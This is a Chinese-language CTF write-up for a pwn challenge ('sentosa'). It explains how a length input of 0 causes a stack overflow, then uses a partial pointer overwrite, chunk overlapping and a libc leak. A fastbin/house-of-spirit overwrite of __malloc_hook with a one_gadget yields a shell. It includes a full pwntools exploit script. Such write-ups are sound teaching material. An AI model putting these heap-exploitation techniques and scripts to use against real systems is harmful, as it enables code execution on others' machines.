Loading... 主要的漏洞点在 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/04/2595649257.png "></div> 这里,当 `Input length of your project name:` 时输入 0,此处 v2 就会变成 -1,可以栈溢出。 栈环境如下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/04/60487650.png "></div> 由于有 canary,有意义的溢出也仅有溢出到 v6。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/04/1818695994.png "></div> v6 仅在最后被存入到了指针数组中,又没有 edit 功能,所以我们只能通过部分覆写来实现 leak 和 free。 也就是将 v6 的最低位置为 `'\x00'`,指向堆上的可控片段,在该可控片段申请多个小堆块,一起伪造一个较大的 fake_chunk,free 掉该 fake_chunk 实现 chunk overlapping。 然后可以通过程序提供的输出功能 leak 出 libc 地址。 ```python StartPro(0x49,'\n') # 0 StartPro(0x49,'\n') # 1 StartPro(4 + 8 + 4,'a' * 4 + p64(0xA1) + '\n') # 2 StartPro(0x50,'\n') # 3 StartPro(0x10,'aaaa' + p64(0x21) + '\n') # 4 StartPro(0,'a' * 0x5A + '\n') # 5 cancel(5) view() sh.recvuntil("Price: ") sh.recvuntil("Price: ") sh.recvuntil("Price: ") libc_base = (int(sh.recvuntil("\n",drop = True),base = 10) & 0xFFFFFFFF) << 8 libc_base = (libc_base | 0x7F0000000010) - libc.sym["__malloc_hook"]# - 0x10 - 88 log.success("libc_base:" + hex(libc_base)) ``` 这个时候由于我们有 chunk overlapping,所以可以实现 UAF 的效果,自然可以想到通过修改 fastbin chunk 的 fd 指针打 __malloc_hook,然而此题的输入方式比较恶心,使用 strncpy 来复制,这个函数在碰到 `'\x00'` 时会跳过对之后数据的复制,然后还会把目标地址的剩余部分全部置零,所以难以直接通过字符串输入来同时修改 size 和 fd。 卡了许久才想到通过 `Input your project price:` `Input your project area:` `Input your project capacity:` 这三个输入来进行修改。由于 ptmalloc 对于 size 和 size + 8(size 满足 $16 \mid size $)的请求会分配同样的堆块,所以可以利用这种特性进行两次修改,第一次申请 0x28 - 21 的大小,修改 fd,free 掉申请来的堆块,再申请 0x20 - 21 的大小,修改 size,然后就可以进行 house of spirit 了,修改 __malloc_hook 为 one_gadget 即可 getshell。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * import ctypes context.log_level = 'debug' context.terminal=["tmux","splitw","-h"] #sh = process("./sentosa") #libc = ELF("/glibc/2.23/64/lib/libc.so.6") #sh = remote("") #libc = ELF("./libc.so.6") def StartPro(size,name): sh.sendlineafter("5. Exit\n",'1') sh.sendlineafter("name: ",str(size)) sh.sendafter("name: ",name) sh.sendlineafter("price: ",'+') sh.sendlineafter("area: ",'+') sh.sendlineafter("capacity: ",'+') def view(): sh.sendlineafter("5. Exit\n",'2') def cancel(index): sh.sendlineafter("5. Exit\n",'4') sh.sendlineafter("number: ",str(index)) #StartPro(0x59,'\x00' * 4 + p64(0x101) + (p32(0) + p32(0x100)) + p64(0) + '\n') StartPro(0x49,'\n') # 0 StartPro(0x49,'\n') # 1 StartPro(4 + 8 + 4,'a' * 4 + p64(0xA1) + '\n') # 2 StartPro(0x50,'\n') # 3 StartPro(0x10,'aaaa' + p64(0x21) + '\n') # 4 StartPro(0,'a' * 0x5A + '\n') # 5 cancel(5) view() sh.recvuntil("Price: ") sh.recvuntil("Price: ") sh.recvuntil("Price: ") libc_base = (int(sh.recvuntil("\n",drop = True),base = 10) & 0xFFFFFFFF) << 8 libc_base = (libc_base | 0x7F0000000010) - libc.sym["__malloc_hook"]# - 0x10 - 88 log.success("libc_base:" + hex(libc_base)) alloc_addr = libc_base + libc.sym["__malloc_hook"] - 0x23 system_addr = libc_base + libc.sym["system"] one_gadget = libc_base + 0x4526a cancel(3) #StartPro(0x59,'\n') sh.sendlineafter("5. Exit\n",'1') sh.sendlineafter("name: ",str(19)) sh.sendafter("name: ",'aaa\n') sh.sendlineafter("price: ",str(0)) sh.sendlineafter("area: ",str(alloc_addr & 0xFFFFFFFF)) sh.sendlineafter("capacity: ",str(alloc_addr >> 32)) cancel(3) sh.sendlineafter("5. Exit\n",'1') sh.sendlineafter("name: ",str(11)) sh.sendafter("name: ",'aaa\n') sh.sendlineafter("price: ",str(0)) sh.sendlineafter("area: ",str(0x71)) sh.sendlineafter("capacity: ",str(0)) StartPro(0x50,'pass\n') StartPro(0x50,'a' * 0xF + p64(one_gadget) + '\n') log.success(hex(one_gadget)) sh.sendlineafter("5. Exit\n",'1') sh.sendlineafter("name: ",str(0)) sh.interactive() ``` 最后修改:2021 年 04 月 24 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧